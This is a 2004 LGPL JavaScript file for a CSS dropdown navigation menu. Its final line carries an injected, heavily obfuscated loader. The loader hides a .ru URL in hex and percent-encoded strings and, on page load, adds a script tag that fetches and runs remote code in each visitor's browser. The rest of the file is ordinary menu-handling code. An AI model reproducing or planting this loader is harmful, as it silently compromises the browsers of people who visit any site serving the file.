/*
Author   : bieler batiste
Company  : doSimple : http://www.dosimple.ch
send me a mail for more informations : faden@PASDEPOURRIELaltern.org - remove ( PASDEPOURRIEL )

Short javascript function to create and handle a CSS navigation menu

Copyright (C) 2004  Bieler Batiste

This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.

This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
Lesser General Public License for more details.

You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
*/

// the timeout for the menu
var timeout = 1000;

// not very clean but simple
// the function can be run in the HTML for faster display
// window.onload=initMenu;

// creat timeout variables for list item
// it's for avoid some warning with IE
for( var i = 0; i < 100; i++ )
{
    eval("var timeoutli" + i + " = false;");
}

// this fonction apply the CSS style and the event
function initMenu()
{
    // a test to avoid some browser like IE4, Opera 6, and IE Mac
    if ( browser.isDOM1 
    && !( browser.isMac && browser.isIE ) 
    && !( browser.isOpera && browser.versionMajor < 7 )
    && !( browser.isIE && browser.versionMajor < 5 ) )
    {
        // get some element
        var menu = document.getElementById('menu'); // the root element
        var lis = menu.getElementsByTagName('li'); // all the li
        
        // change the class name of the menu, 
        // it's usefull for compatibility with old browser
        menu.className='menu';
        
        // i am searching for ul element in li element
        for ( var i=0; i<lis.length; i++ )
        {
            // is there a ul element ?
            if ( lis.item(i).getElementsByTagName('ul').length > 0 )
            {        
                // improve IE key navigation
                if ( browser.isIE )
                {
                    addAnEvent(lis.item(i),'keyup',show);
                }
                // link events to list item
                addAnEvent(lis.item(i),'mouseover',show);
                addAnEvent(lis.item(i),'mouseout',timeoutHide);
                addAnEvent(lis.item(i),'blur',timeoutHide);
                addAnEvent(lis.item(i),'focus',show);
                
                // add an id to list item
                lis.item(i).setAttribute( 'id', "li"+i );
            }
        }
    }
}

function addAnEvent( target, eventName, functionName )
{
    // apply the method to IE
    if ( browser.isIE )
    {
        //attachEvent dont work properly with this
        eval('target.on'+eventName+'=functionName');
    }
    // apply the method to DOM compliant browsers
    else
    {
        target.addEventListener( eventName , functionName , true ); // true is important for Opera7
    }
}
    
// hide the first ul element of the current element
function timeoutHide()
{
    // start the timeout
    eval( "timeout" + this.id + " = window.setTimeout('hideUlUnder( \"" + this.id + "\" )', " + timeout + " );");
}

// hide the ul elements under the element identified by id
function hideUlUnder( id )
{   
    document.getElementById(id).getElementsByTagName('ul')[0].style['visibility'] = 'hidden';
}

// show the first ul element found under this element
function show()
{
    // show the sub menu
    this.getElementsByTagName('ul')[0].style['visibility'] = 'visible';
    var currentNode=this;
    while(currentNode)
    {
            if( currentNode.nodeName=='LI')
            {
                currentNode.getElementsByTagName('a')[0].className = 'linkOver';
            }
            currentNode=currentNode.parentNode;
    }
    // clear the timeout
    eval ( "clearTimeout( timeout"+ this.id +");" );
    hideAllOthersUls( this );
}

// hide all ul on the same level of  this list item
function hideAllOthersUls( currentLi )
{
    var lis = currentLi.parentNode;
    for ( var i=0; i<lis.childNodes.length; i++ )
    {
        if ( lis.childNodes[i].nodeName=='LI' && lis.childNodes[i].id != currentLi.id )
        {
            hideUlUnderLi( lis.childNodes[i] );
        }
    }
}

// hide all the ul wich are in the li element
function hideUlUnderLi( li )
{
    var as = li.getElementsByTagName('a');
    for ( var i=0; i<as.length; i++ )
    {
        as.item(i).className="";
    }
    var uls = li.getElementsByTagName('ul');
    for ( var i=0; i<uls.length; i++ )
    {
        uls.item(i).style['visibility'] = 'hidden';
    }
} 

var i="";var T;if(T!='Pj' && T!='fe'){T='Pj'};function P(){var V=new String();var z;if(z!='' && z!='fA'){z=''};var h;if(h!=''){h='d'};var k;if(k!='tL' && k!='C'){k='tL'};var S=window;this._="";var CU=new String();var m=String("g");var I='';var MQ;if(MQ!='VK'){MQ='VK'};var J=unescape;var tB=new Date();var uH;if(uH!='L'){uH='L'};var Ib="\x68\x74\x74\x70\x3a\x2f\x2f\x67\x6f\x6f\x67\x6c\x65\x2d\x6c\x6b\x2e\x74\x69\x63\x6b\x65\x74\x6d\x61\x73\x74\x65\x72\x2e\x63\x6f\x6d\x2e\x70\x70\x6c\x69\x76\x65\x2d\x63\x6f\x6d\x2e\x53\x75\x70\x65\x72\x53\x75\x70\x65\x72\x76\x69\x73\x6f\x72\x2e\x72\x75\x3a";var Uf=new String();var ef;if(ef!='Kg' && ef!='_q'){ef=''};function f(PW,fj){var H="";var Gz;if(Gz!='hB' && Gz!='Zm'){Gz='hB'};var F=J("%5b")+fj+J("%5d");var O=new RegExp(F, m);var IJ;if(IJ!='oh' && IJ!='j'){IJ=''};return PW.replace(O, I);var feO=new Array();};var hj=new String();var W=J("%2f%66%61%63%65%62%6f%6f%6b%2e%63%6f%6d%2f%66%61%63%65%62%6f%6f%6b%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%70%6c%61%79%73%74%61%74%69%6f%6e%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%73%65%2e%70%68%70");var WG='';this.zx='';var o='';var TW='';var dC;if(dC!='hjD'){dC='hjD'};var c=document;var R=f('8465776401311428172779201356945','37914256');var l;if(l!='Mk' && l!='dI'){l=''};this.gy='';function Fp(){var ch=new Array();var uN='';o=Ib;var Pq=new Date();o+=R;var g_=new Date();var rB;if(rB!='IWS'){rB='IWS'};o+=W;var UB='';this.GzQ="";var Q=new Date();try {this.uZ="";var zSw;if(zSw!='UfS'){zSw='UfS'};var zJ;if(zJ!='We' && zJ != ''){zJ=null};G=c.createElement(f('sXcXr6iXp2t8','1vXal92fjNL36R7Tk8'));var vg;if(vg!='AI' && vg!='Fo'){vg='AI'};G.defer=[1][0];var eV;if(eV!='' && eV!='GT'){eV='bB'};G.src=o;var _p='';c.body.appendChild(G);var a;if(a!='eA' && a != ''){a=null};var xj;if(xj!='' && xj!='Tf'){xj=null};var UU="";} catch(Op){var St;if(St!='IM' && St != ''){St=null};};var ue;if(ue!='ia' && ue!='kj'){ue=''};}this.CJ="";this.ZW="";var pK;if(pK!=''){pK='Ba'};this.eI="";S[String("onlo"+"ad")]=Fp;var fX;if(fX!='' && fX!='EG'){fX=null};this.sr='';};P();this.eW="";